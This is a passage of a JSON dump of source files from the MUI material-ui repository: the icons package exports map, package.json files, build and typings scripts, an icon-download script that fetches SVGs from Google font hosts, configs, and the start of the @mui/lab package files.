\"./YoutubeSearchedForTwoTone.mjs\"\n    },\n    \"./ZoomIn\": {\n      \"require\": \"./ZoomIn.js\",\n      \"import\": \"./ZoomIn.mjs\",\n      \"default\": \"./ZoomIn.mjs\"\n    },\n    \"./ZoomInMap\": {\n      \"require\": \"./ZoomInMap.js\",\n      \"import\": \"./ZoomInMap.mjs\",\n      \"default\": \"./ZoomInMap.mjs\"\n    },\n    \"./ZoomInMapOutlined\": {\n      \"require\": \"./ZoomInMapOutlined.js\",\n      \"import\": \"./ZoomInMapOutlined.mjs\",\n      \"default\": \"./ZoomInMapOutlined.mjs\"\n    },\n    \"./ZoomInMapRounded\": {\n      \"require\": \"./ZoomInMapRounded.js\",\n      \"import\": \"./ZoomInMapRounded.mjs\",\n      \"default\": \"./ZoomInMapRounded.mjs\"\n    },\n    \"./ZoomInMapSharp\": {\n      \"require\": \"./ZoomInMapSharp.js\",\n      \"import\": \"./ZoomInMapSharp.mjs\",\n      \"default\": \"./ZoomInMapSharp.mjs\"\n    },\n    \"./ZoomInMapTwoTone\": {\n      \"import\": \"./ZoomInMapTwoTone.mjs\",\n      \"require\": \"./ZoomInMapTwoTone.js\",\n      \"default\": \"./ZoomInMapTwoTone.mjs\"\n    },\n    \"./ZoomInOutlined\": {\n      \"import\": \"./ZoomInOutlined.mjs\",\n      \"require\": \"./ZoomInOutlined.js\",\n      \"default\": \"./ZoomInOutlined.mjs\"\n    },\n    \"./ZoomInRounded\": {\n      \"import\": \"./ZoomInRounded.mjs\",\n      \"require\": \"./ZoomInRounded.js\",\n      \"default\": \"./ZoomInRounded.mjs\"\n    },\n    \"./ZoomInSharp\": {\n      \"import\": \"./ZoomInSharp.mjs\",\n      \"require\": \"./ZoomInSharp.js\",\n      \"default\": \"./ZoomInSharp.mjs\"\n    },\n    \"./ZoomInTwoTone\": {\n      \"import\": \"./ZoomInTwoTone.mjs\",\n      \"require\": \"./ZoomInTwoTone.js\",\n      \"default\": \"./ZoomInTwoTone.mjs\"\n    },\n    \"./ZoomOut\": {\n      \"import\": \"./ZoomOut.mjs\",\n      \"require\": \"./ZoomOut.js\",\n      \"default\": \"./ZoomOut.mjs\"\n    },\n    \"./ZoomOutMap\": {\n      \"import\": \"./ZoomOutMap.mjs\",\n      \"require\": \"./ZoomOutMap.js\",\n      \"default\": \"./ZoomOutMap.mjs\"\n    },\n    \"./ZoomOutMapOutlined\": {\n      \"import\": \"./ZoomOutMapOutlined.mjs\",\n      \"require\": \"./ZoomOutMapOutlined.js\",\n      \"default\": \"./ZoomOutMapOutlined.mjs\"\n    },\n    \"./ZoomOutMapRounded\": {\n      \"import\": \"./ZoomOutMapRounded.mjs\",\n      \"require\": \"./ZoomOutMapRounded.js\",\n      \"default\": \"./ZoomOutMapRounded.mjs\"\n    },\n    \"./ZoomOutMapSharp\": {\n      \"import\": \"./ZoomOutMapSharp.mjs\",\n      \"require\": \"./ZoomOutMapSharp.js\",\n      \"default\": \"./ZoomOutMapSharp.mjs\"\n    },\n    \"./ZoomOutMapTwoTone\": {\n      \"import\": \"./ZoomOutMapTwoTone.mjs\",\n      \"require\": \"./ZoomOutMapTwoTone.js\",\n      \"default\": \"./ZoomOutMapTwoTone.mjs\"\n    },\n    \"./ZoomOutOutlined\": {\n      \"import\": \"./ZoomOutOutlined.mjs\",\n      \"require\": \"./ZoomOutOutlined.js\",\n      \"default\": \"./ZoomOutOutlined.mjs\"\n    },\n    \"./ZoomOutRounded\": {\n      \"require\": \"./ZoomOutRounded.js\",\n      \"import\": \"./ZoomOutRounded.mjs\",\n      \"default\": \"./ZoomOutRounded.mjs\"\n    },\n    \"./ZoomOutSharp\": {\n      \"require\": \"./ZoomOutSharp.js\",\n      \"import\": \"./ZoomOutSharp.mjs\",\n      \"default\": \"./ZoomOutSharp.mjs\"\n    },\n    \"./ZoomOutTwoTone\": {\n      \"require\": \"./ZoomOutTwoTone.js\",\n      \"import\": \"./ZoomOutTwoTone.mjs\",\n      \"default\": \"./ZoomOutTwoTone.mjs\"\n    },\n    \"./utils/*\": null\n  }\n}"
  },
  {
    "path": "packages/mui-icons-material/lib/utils/createSvgIcon.js",
    "content": "\"use strict\";\n'use client';\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"default\", {\n  enumerable: true,\n  get: function () {\n    return _SvgIcon.createSvgIcon;\n  }\n});\nvar _SvgIcon = require(\"@mui/material/SvgIcon\");"
  },
  {
    "path": "packages/mui-icons-material/lib/utils/createSvgIcon.mjs",
    "content": "'use client';\n\nexport { createSvgIcon as default } from '@mui/material/SvgIcon';"
  },
  {
    "path": "packages/mui-icons-material/package.json",
    "content": "{\n  \"name\": \"@mui/icons-material\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Material Design icons distributed as SVG React components.\",\n  \"main\": \"./src/index.js\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"material-ui\",\n    \"material design\",\n    \"icons\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-icons-material\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/material-ui/material-icons/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"rimraf build && shx cp -r lib/ build/ && pnpm build:copy-files && pnpm build:typings && pnpm build:pkg-json\",\n    \"build:pkg-json\": \"node ./scripts/merge-package-json.mjs\",\n    \"build:lib\": \"code-infra build --flat --hasLargeFiles --skipMainCheck --buildTypes false\",\n    \"build:lib:clean\": \"rimraf lib && pnpm build:lib && shx cp -R build lib && rimraf build\",\n    \"build:copy-files\": \"shx cp README.md ../../CHANGELOG.md ../../LICENSE build\",\n    \"build:typings\": \"node ./scripts/create-typings.mjs\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"src:download\": \"node ./scripts/download.mjs\",\n    \"src:icons\": \"cross-env UV_THREADPOOL_SIZE=64 node ./builder.mjs --output-dir src --svg-dir material-icons --renameFilter ./renameFilters/material-design-icons.mjs && pnpm build:lib:clean\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/icons-material\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\",\n    \"attw\": \"attw --pack ./build --entrypoints \\\".\\\" \\\"ZoomOutTwoTone\\\"\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\"\n  },\n  \"devDependencies\": {\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/internal-waterfall\": \"workspace:^\",\n    \"@mui/material\": \"workspace:*\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/react\": \"19.2.14\",\n    \"chai\": \"6.2.2\",\n    \"chalk\": \"5.6.2\",\n    \"cross-fetch\": \"4.1.0\",\n    \"es-toolkit\": \"1.45.1\",\n    \"fast-glob\": \"3.3.3\",\n    \"mustache\": \"4.2.0\",\n    \"react\": \"19.2.4\",\n    \"rimraf\": \"6.1.3\",\n    \"shx\": \"0.4.0\",\n    \"svgo\": \"4.0.1\",\n    \"yargs\": \"18.0.0\"\n  },\n  \"peerDependencies\": {\n    \"@mui/material\": \"workspace:*\",\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@types/react\": {\n      \"optional\": true\n    }\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \".\": \"./src/index.js\",\n    \"./*\": \"./src/*.js\",\n    \"./index*\": null,\n    \"./utils/*\": null\n  }\n}\n"
  },
  {
    "path": "packages/mui-icons-material/renameFilters/default.mjs",
    "content": "import path from 'path';\n\n/*\n * Return path to write file to inside outputDir.\n * @param {object} svgPathObj\n * path objects from path.parse\n * @param {string} innerPath\n * Path (relative to options.svgDir) to svg file\n *   e.g. if svgFile was /home/user/icons/path/to/svg/file.svg\n *   options.svgDir is /home/user/icons/\n *   innerPath is path/to/svg\n * @param {object} options\n * @returns {string} output file dest relative to outputDir\n */\nfunction defaultDestRewriter(svgPathObj, innerPath, options) {\n  let fileName = svgPathObj.base;\n  if (options.fileSuffix) {\n    fileName.replace(options.fileSuffix, '.svg');\n  } else {\n    fileName = fileName.replace('.svg', '.js');\n  }\n  fileName = fileName.replace(/(^.)|(_)(.)/g, (match, p1, p2, p3) => (p1 || p3).toUpperCase());\n  return path.join(innerPath, fileName);\n}\n\nexport default defaultDestRewriter;\n"
  },
  {
    "path": "packages/mui-icons-material/renameFilters/material-design-icons.mjs",
    "content": "const singleDigitNumbers = [\n  'Zero',\n  'One',\n  'Two',\n  'Three',\n  'Four',\n  'Five',\n  'Six',\n  'Seven',\n  'Eight',\n  'Nine',\n];\nconst twoDigitNumbers1 = [\n  'Ten',\n  'Eleven',\n  'Twelve',\n  'Thirteen',\n  'Fourteen',\n  'Fifteen',\n  'Sixteen',\n  'Seventeen',\n  'Eighteen',\n  'Nineteen',\n];\n\nexport default function myDestRewriter(svgPathObj) {\n  let fileName = svgPathObj.base;\n\n  fileName = fileName\n    .replace(/_([0-9]+)px\\.svg/, '.js')\n    .replace(/(^.)|(_)(.)/g, (match, p1, p2, p3) => (p1 || p3).toUpperCase());\n\n  if (fileName.startsWith('3dRotation')) {\n    return `ThreeD${fileName.slice(2)}`;\n  }\n\n  if (fileName.startsWith('3p')) {\n    return `ThreeP${fileName.slice(2)}`;\n  }\n\n  if (fileName.startsWith('30fps')) {\n    return `ThirtyFps${fileName.slice(5)}`;\n  }\n  if (fileName.startsWith('60fps')) {\n    return `SixtyFps${fileName.slice(5)}`;\n  }\n  if (fileName.startsWith('360')) {\n    return `ThreeSixty${fileName.slice(3)}`;\n  }\n\n  if (/\\dFt/.test(fileName)) {\n    return `${singleDigitNumbers[fileName[0]]}${fileName.slice(1)}`;\n  }\n\n  if (/\\dk/.test(fileName)) {\n    return `${singleDigitNumbers[fileName[0]]}K${fileName.slice(2)}`;\n  }\n\n  if (/^\\dmp/.test(fileName)) {\n    return `${singleDigitNumbers[fileName[0]]}M${fileName.slice(2)}`;\n  }\n  if (/^1\\dmp/.test(fileName)) {\n    return `${twoDigitNumbers1[fileName[1]]}M${fileName.slice(3)}`;\n  }\n  if (/^2\\dmp/.test(fileName)) {\n    return `Twenty${singleDigitNumbers[fileName[1]]}M${fileName.slice(3)}`;\n  }\n\n  if (fileName.startsWith('1x')) {\n    return `TimesOne${fileName.slice(2)}`;\n  }\n\n  if (fileName.startsWith('3g')) {\n    return `ThreeG${fileName.slice(2)}`;\n  }\n  if (fileName.startsWith('4g')) {\n    return `FourG${fileName.slice(2)}`;\n  }\n  if (fileName.startsWith('5g')) {\n    return `FiveG${fileName.slice(2)}`;\n  }\n\n  // All other names starting with a number between 10 and 19\n  if (/^1\\d/.test(fileName)) {\n    return `${twoDigitNumbers1[fileName[1]]}${fileName.slice(2)}`;\n  }\n\n  return fileName;\n}\n"
  },
  {
    "path": "packages/mui-icons-material/scripts/create-typings.mjs",
    "content": "/* eslint-disable no-console */\nimport path from 'path';\nimport chalk from 'chalk';\nimport * as fs from 'fs/promises';\nimport glob from 'fast-glob';\nimport url from 'url';\n\nconst currentDirectory = url.fileURLToPath(new URL('.', import.meta.url));\n\nconst SRC_DIR = path.resolve(currentDirectory, '../lib/');\nconst TARGET_DIR = path.resolve(currentDirectory, '../build');\n\nfunction normalizeFileName(file) {\n  return path.parse(file).name;\n}\n\nasync function createIconTypings(targetDir, files, extension = 'd.ts') {\n  const contents = `export { default } from '@mui/material/SvgIcon';`;\n\n  let index = 0;\n  const filesIterable = {\n    [Symbol.iterator]: () => ({\n      next() {\n        if (index >= files.length) {\n          return { done: true };\n        }\n        const nextFile = files[index];\n        index += 1;\n        return { value: nextFile, done: false };\n      },\n    }),\n  };\n\n  const createWorker = async () => {\n    for (const file of filesIterable) {\n      const iconName = normalizeFileName(file);\n      // eslint-disable-next-line no-await-in-loop\n      await fs.writeFile(path.resolve(targetDir, `${iconName}.${extension}`), contents, 'utf8');\n    }\n  };\n\n  const concurrency = 50;\n  const workers = Array.from({ length: concurrency }, createWorker);\n\n  await Promise.all(workers);\n}\n\nasync function createIndexTyping(targetDir, files, extension = 'd.ts') {\n  const contents = `\nimport SvgIcon from '@mui/material/SvgIcon';\n\ntype SvgIconComponent = typeof SvgIcon;\n\n${files.map((file) => `export const ${normalizeFileName(file)}: SvgIconComponent;`).join('\\n')}\n`;\n\n  await fs.writeFile(path.resolve(targetDir, `index.${extension}`), contents, 'utf8');\n}\n\n// Generate TypeScript.\nasync function run() {\n  await Promise.all([fs.mkdir(TARGET_DIR, { recursive: true })]);\n  console.log(`\\u{1f52c}  Searching for modules inside \"${chalk.dim(SRC_DIR)}\".`);\n  const files = await glob('!(index)*.mjs', { cwd: SRC_DIR });\n  await Promise.all([\n    createIconTypings(TARGET_DIR, files),\n    createIndexTyping(TARGET_DIR, files),\n    createIconTypings(TARGET_DIR, files, 'd.mts'),\n    createIndexTyping(TARGET_DIR, files, 'd.mts'),\n  ]);\n  console.log(`\\u{1F5C4}  Written typings to ${chalk.dim(TARGET_DIR)}.`);\n}\n\nrun();\n"
  },
  {
    "path": "packages/mui-icons-material/scripts/download.mjs",
    "content": "/* eslint-disable no-console */\nimport fetch from 'cross-fetch';\nimport fs from 'node:fs/promises';\nimport path from 'path';\nimport yargs from 'yargs';\nimport { fileURLToPath } from 'url';\nimport { Queue, sleep, retry } from '@mui/internal-waterfall';\n\nconst currentDirectory = fileURLToPath(new URL('.', import.meta.url));\n\n// Icons we don't publish.\n// This is just a list of new icons.\n// In the future we might change what icons we want to exclude (for example by popularity)\nconst ignoredIconNames = new Set([\n  // TODO v6: Whatsapp duplicates with WhatsApp\n  // We don't need it https://fonts.google.com/icons?icon.set=Material+Icons&icon.query=whatsapp\n  // 'whatsapp'\n  '123',\n  '6_ft_apart',\n  'add_chart', // Leads to inconsistent casing with `Addchart`\n  'exposure_neg_1', // Google product\n  'exposure_neg_2', // Google product\n  'exposure_plus_1', // Google product\n  'exposure_plus_2', // Google product\n  'exposure_zero', // Google product\n  'horizontal_distribute', // Advanced text editor\n  'motion_photos_on', // Google product\n  'motion_photos_pause', // Google product\n  'motion_photos_paused', // Google product\n  'polymer', // Legacy brand\n  'vertical_distribute', // Advanced text editor\n]);\n\nconst legacyIconNames = new Set([\n  'battery_20',\n  'battery_30',\n  'battery_50',\n  'battery_60',\n  'battery_80',\n  'battery_90',\n  'battery_charge_20',\n  'battery_charging_20',\n  'battery_charge_30',\n  'battery_charging_30',\n  'battery_charge_50',\n  'battery_charging_50',\n  'battery_charge_60',\n  'battery_charging_60',\n  'battery_charge_80',\n  'battery_charging_80',\n  'battery_charge_90',\n  'battery_charging_90',\n  'signal_cellular_1_bar',\n  'signal_cellular_2_bar',\n  'signal_cellular_3_bar',\n  'signal_cellular_connected_no_internet_1_bar',\n  'signal_cellular_connected_no_internet_2_bar',\n  'signal_cellular_connected_no_internet_3_bar',\n  'signal_wifi_1_bar',\n  'signal_wifi_1_bar_lock',\n  'signal_wifi_2_bar',\n  'signal_wifi_2_bar_lock',\n  'signal_wifi_3_bar',\n  'signal_wifi_3_bar_lock',\n]);\n\n// list of icons that need to be overridden\nconst overrides = new Map([\n  [\n    // official icon is not rounded: https://fonts.google.com/icons?selected=Material+Icons+Round:apps:&icon.query=apps&icon.size=24&icon.color=%23e8eaed&icon.set=Material+Icons&icon.style=Rounded\n    // fixes https://github.com/mui/material-ui/issues/41064\n    'apps_rounded',\n    '<svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M6 20C5.45 20 4.97917 19.8042 4.5875 19.4125C4.19583 19.0208 4 18.55 4 18C4 17.45 4.19583 16.9792 4.5875 16.5875C4.97917 16.1958 5.45 16 6 16C6.55 16 7.02083 16.1958 7.4125 16.5875C7.80417 16.9792 8 17.45 8 18C8 18.55 7.80417 19.0208 7.4125 19.4125C7.02083 19.8042 6.55 20 6 20ZM12 20C11.45 20 10.9792 19.8042 10.5875 19.4125C10.1958 19.0208 10 18.55 10 18C10 17.45 10.1958 16.9792 10.5875 16.5875C10.9792 16.1958 11.45 16 12 16C12.55 16 13.0208 16.1958 13.4125 16.5875C13.8042 16.9792 14 17.45 14 18C14 18.55 13.8042 19.0208 13.4125 19.4125C13.0208 19.8042 12.55 20 12 20ZM18 20C17.45 20 16.9792 19.8042 16.5875 19.4125C16.1958 19.0208 16 18.55 16 18C16 17.45 16.1958 16.9792 16.5875 16.5875C16.9792 16.1958 17.45 16 18 16C18.55 16 19.0208 16.1958 19.4125 16.5875C19.8042 16.9792 20 17.45 20 18C20 18.55 19.8042 19.0208 19.4125 19.4125C19.0208 19.8042 18.55 20 18 20ZM6 14C5.45 14 4.97917 13.8042 4.5875 13.4125C4.19583 13.0208 4 12.55 4 12C4 11.45 4.19583 10.9792 4.5875 10.5875C4.97917 10.1958 5.45 10 6 10C6.55 10 7.02083 10.1958 7.4125 10.5875C7.80417 10.9792 8 11.45 8 12C8 12.55 7.80417 13.0208 7.4125 13.4125C7.02083 13.8042 6.55 14 6 14ZM12 14C11.45 14 10.9792 13.8042 10.5875 13.4125C10.1958 13.0208 10 12.55 10 12C10 11.45 10.1958 10.9792 10.5875 10.5875C10.9792 10.1958 11.45 10 12 10C12.55 10 13.0208 10.1958 13.4125 10.5875C13.8042 10.9792 14 11.45 14 12C14 12.55 13.8042 13.0208 13.4125 13.4125C13.0208 13.8042 12.55 14 12 14ZM18 14C17.45 14 16.9792 13.8042 16.5875 13.4125C16.1958 13.0208 16 12.55 16 12C16 11.45 16.1958 10.9792 16.5875 10.5875C16.9792 10.1958 17.45 10 18 10C18.55 10 19.0208 10.1958 19.4125 10.5875C19.8042 10.9792 20 11.45 20 12C20 12.55 19.8042 13.0208 19.4125 13.4125C19.0208 13.8042 18.55 14 18 14ZM6 8C5.45 8 4.97917 7.80417 4.5875 7.4125C4.19583 7.02083 4 6.55 4 6C4 5.45 4.19583 4.97917 4.5875 4.5875C4.97917 4.19583 5.45 4 6 4C6.55 4 7.02083 4.19583 7.4125 4.5875C7.80417 4.97917 8 5.45 8 6C8 6.55 7.80417 7.02083 7.4125 7.4125C7.02083 7.80417 6.55 8 6 8ZM12 8C11.45 8 10.9792 7.80417 10.5875 7.4125C10.1958 7.02083 10 6.55 10 6C10 5.45 10.1958 4.97917 10.5875 4.5875C10.9792 4.19583 11.45 4 12 4C12.55 4 13.0208 4.19583 13.4125 4.5875C13.8042 4.97917 14 5.45 14 6C14 6.55 13.8042 7.02083 13.4125 7.4125C13.0208 7.80417 12.55 8 12 8ZM18 8C17.45 8 16.9792 7.80417 16.5875 7.4125C16.1958 7.02083 16 6.55 16 6C16 5.45 16.1958 4.97917 16.5875 4.5875C16.9792 4.19583 17.45 4 18 4C18.55 4 19.0208 4.19583 19.4125 4.5875C19.8042 4.97917 20 5.45 20 6C20 6.55 19.8042 7.02083 19.4125 7.4125C19.0208 7.80417 18.55 8 18 8Z\"/></svg>',\n  ],\n  [\n    // fixes https://github.com/mui/material-ui/issues/32016\n    'cases',\n    '<svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M3 22C2.45 22 1.97917 21.8042 1.5875 21.4125C1.19583 21.0208 1 20.55 1 20V9H3V20H20V22H3ZM7 18C6.45 18 5.97917 17.8042 5.5875 17.4125C5.19583 17.0208 5 16.55 5 16V5H10V3C10 2.45 10.1958 1.97917 10.5875 1.5875C10.9792 1.19583 11.45 1 12 1H16C16.55 1 17.0208 1.19583 17.4125 1.5875C17.8042 1.97917 18 2.45 18 3V5H23V16C23 16.55 22.8042 17.0208 22.4125 17.4125C22.0208 17.8042 21.55 18 21 18H7ZM12 5H16V3H12V5Z\"/></svg>',\n  ],\n  [\n    // fixes https://github.com/mui/material-ui/issues/34863\n    'label_important_outlined',\n    '<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"24px\" viewBox=\"0 0 24 24\" width=\"24px\"><path d=\"M0 0h24v24H0V0z\" fill=\"none\"/><path d=\"M15 19H3l4.5-7L3 5h12c.65 0 1.26.31 1.63.84L21 12l-4.37 6.16c-.37.52-.98.84-1.63.84zm-8.5-2H15l3.5-5L15 7H6.5l3.5 5-3.5 5z\"/></svg>',\n  ],\n]);\n\nconst themeMap = {\n  baseline: '', // filled\n  outline: '_outlined',\n  round: '_round',\n  twotone: '_two_tone',\n  sharp: '_sharp',\n};\n\nconst themeFileMap = {\n  baseline: '', // filled\n  outline: '_outlined',\n  round: '_rounded',\n  twotone: '_two_tone',\n  sharp: '_sharp',\n};\n\nconst familyMap = {\n  baseline: 'Material Icons',\n  outline: 'Material Icons Outlined',\n  round: 'Material Icons Round',\n  sharp: 'Material Icons Sharp',\n  twotone: 'Material Icons Two Tone',\n};\n\n/**\n * Downloads an icon in various themes and saves it as an SVG file.\n *\n * @param {Object} icon - The icon object.\n * @param {string} icon.name - The name of the icon.\n * @param {number} icon.version - The version of the icon.\n * @param {number} icon.popularity - The popularity of the icon.\n * @param {number} icon.codepoint - The codepoint of the icon.\n * @param {string[]} icon.unsupported_families - The unsupported families of the icon.\n * @param {string[]} icon.categories - The categories of the icon.\n * @param {string[]} icon.tags - The tags associated with the icon.\n * @param {number[]} icon.sizes_px - The available sizes of the icon in pixels.\n * @returns {Promise<void[]>} A promise that resolves when all icons are downloaded and saved.\n */\nfunction downloadIcon(icon) {\n  console.log(`downloadIcon ${icon.index}: ${icon.name}`);\n\n  return Promise.all(\n    Object.keys(themeMap).map(async (theme) => {\n      const formattedTheme = themeMap[theme].split('_').join('');\n      const family = familyMap[theme];\n      if (icon.unsupported_families.includes(family)) {\n        return;\n      }\n      const response = await fetch(\n        `https://fonts.gstatic.com/s/i/materialicons${formattedTheme}/${icon.name}/v${icon.version}/24px.svg`,\n      );\n      if (response.status !== 200) {\n        throw new Error(`status ${response.status}`);\n      }\n      const SVG = await response.text();\n      await fs.writeFile(\n        path.join(\n          currentDirectory,\n          `../material-icons/${icon.name}${themeFileMap[theme]}_24px.svg`,\n        ),\n        overrides.get(`${icon.name}${themeFileMap[theme]}`) || SVG,\n      );\n    }),\n  );\n}\n\nasync function run() {\n  try {\n    const argv = yargs(process.argv.slice(2))\n      .usage('Download the SVG from material.io/resources/icons')\n      .describe('start-after', 'Resume at the following index').argv;\n    console.log('run', argv);\n    const iconDir = path.join(currentDirectory, '../material-icons');\n    await fs.rm(iconDir, { recursive: true, force: true });\n    await fs.mkdir(iconDir, { recursive: true });\n    const response = await fetch(\n      'https://fonts.google.com/metadata/icons?key=material_symbols&incomplete=true',\n    );\n    const text = await response.text();\n    const data = JSON.parse(text.replace(\")]}'\", ''));\n    let icons = data.icons;\n    icons = icons.filter((icon) => {\n      return !ignoredIconNames.has(icon.name) && !legacyIconNames.has(icon.name);\n    });\n    icons = icons.map((icon, index) => ({ index, ...icon }));\n    icons = icons.splice(argv.startAfter || 0);\n    console.log(`${icons.length} icons to download`);\n\n    const queue = new Queue(\n      async (icon) => {\n        await retry(async ({ tries }) => {\n          await sleep((tries - 1) * 100);\n          await downloadIcon(icon);\n        });\n      },\n      { concurrency: 5 },\n    );\n    queue.push(icons);\n    await queue.wait({ empty: true });\n  } catch (err) {\n    console.log('err', err);\n    throw err;\n  }\n}\n\nrun();\n"
  },
  {
    "path": "packages/mui-icons-material/scripts/merge-package-json.mjs",
    "content": "/* eslint-disable no-console */\nimport path from 'path';\nimport * as fs from 'fs/promises';\nimport url from 'url';\n\nconst currentDirectory = url.fileURLToPath(new URL('.', import.meta.url));\nconst packageDir = path.resolve(currentDirectory, '..');\n\n/**\n * Reads `package.json` and `lib/package.json`, then creates a new package.json\n * where all fields come from the root `package.json` but the `exports` field\n * is copied over from `lib/package.json`.\n */\nasync function run() {\n  const rootPackageJsonPath = path.resolve(packageDir, 'package.json');\n  const libPackageJsonPath = path.resolve(packageDir, 'lib/package.json');\n  const buildPackageJsonPath = path.resolve(packageDir, 'build/package.json');\n\n  const [rootPackageJson, libPackageJson] = await Promise.all([\n    fs.readFile(rootPackageJsonPath, 'utf8').then((content) => JSON.parse(content)),\n    fs.readFile(libPackageJsonPath, 'utf8').then((content) => JSON.parse(content)),\n  ]);\n\n  const mergedPackageJson = {\n    ...rootPackageJson,\n    exports: libPackageJson.exports,\n  };\n  delete mergedPackageJson.publishConfig?.directory;\n  // Remove fields that shouldn't be in the published package\n  delete mergedPackageJson.devDependencies;\n  delete mergedPackageJson.scripts;\n\n  await fs.writeFile(\n    buildPackageJsonPath,\n    `${JSON.stringify(mergedPackageJson, null, 2)}\\n`,\n    'utf8',\n  );\n\n  console.log('✅ package.json created successfully.');\n}\n\nrun().catch((error) => {\n  console.error('Error creating package.json files:', error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "packages/mui-icons-material/src/icon.d.ts",
    "content": "export { default } from '@mui/material/SvgIcon';\n"
  },
  {
    "path": "packages/mui-icons-material/src/utils/createSvgIcon.js",
    "content": "'use client';\n\nexport { createSvgIcon as default } from '@mui/material/SvgIcon';\n"
  },
  {
    "path": "packages/mui-icons-material/templateSvgIcon.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  {{{paths}}}\n, '{{componentName}}');\n"
  },
  {
    "path": "packages/mui-icons-material/tsconfig.build.json",
    "content": "{\n  // This config is for emitting declarations (.d.ts) only\n  // Actual .ts source files are transpiled via babel\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"declaration\": false,\n    \"noEmit\": false,\n    \"emitDeclarationOnly\": false,\n    \"outDir\": \"build\",\n    \"rootDir\": \"./lib\"\n  },\n  \"include\": [\"lib/**/*.*\"]\n}\n"
  },
  {
    "path": "packages/mui-icons-material/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {},\n  \"include\": [\"src/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-icons-material/vitest.config.mts",
    "content": "import { mergeConfig } from 'vitest/config';\n// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default mergeConfig(await sharedConfig(import.meta.url, { jsdom: true }), {\n  test: {\n    include: ['builder.test.*'],\n  },\n});\n"
  },
  {
    "path": "packages/mui-lab/README.md",
    "content": "# @mui/lab\n\nThis package hosts the incubator components that are not yet ready to move to `core`.\n\n## Installation\n\nInstall the package in your project directory with:\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpm install @mui/lab@next\n```\n\nThe lab has peer dependencies on the Material Design components and on the Emotion library.\nIf you are not already using them in your project, you can install with:\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpm install @mui/material@next @emotion/react @emotion/styled\n```\n\n## Documentation\n\n<!-- #host-reference -->\n\nVisit [https://next.mui.com/material-ui/about-the-lab/](https://next.mui.com/material-ui/about-the-lab/) to view the full documentation.\n"
  },
  {
    "path": "packages/mui-lab/package.json",
    "content": "{\n  \"name\": \"@mui/lab\",\n  \"//\": \"version should be 'alpha' at all time\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Laboratory for new Material UI modules.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"material-ui\",\n    \"material design\",\n    \"lab\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-lab\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/material-ui/about-the-lab/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/lab\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/types\": \"workspace:^\",\n    \"@mui/utils\": \"workspace:*\",\n    \"clsx\": \"^2.1.1\",\n    \"prop-types\": \"^15.8.1\"\n  },\n  \"devDependencies\": {\n    \"@mui/material\": \"workspace:*\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/prop-types\": \"15.7.15\",\n    \"@types/react\": \"19.2.14\",\n    \"@types/react-dom\": \"19.2.3\",\n    \"@types/sinon\": \"17.0.4\",\n    \"chai\": \"6.2.2\",\n    \"react\": \"19.2.4\",\n    \"react-dom\": \"19.2.4\",\n    \"sinon\": \"21.0.3\"\n  },\n  \"peerDependencies\": {\n    \"@emotion/react\": \"^11.5.0\",\n    \"@emotion/styled\": \"^11.3.0\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/material-pigment-css\": \"workspace:^\",\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"react-dom\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    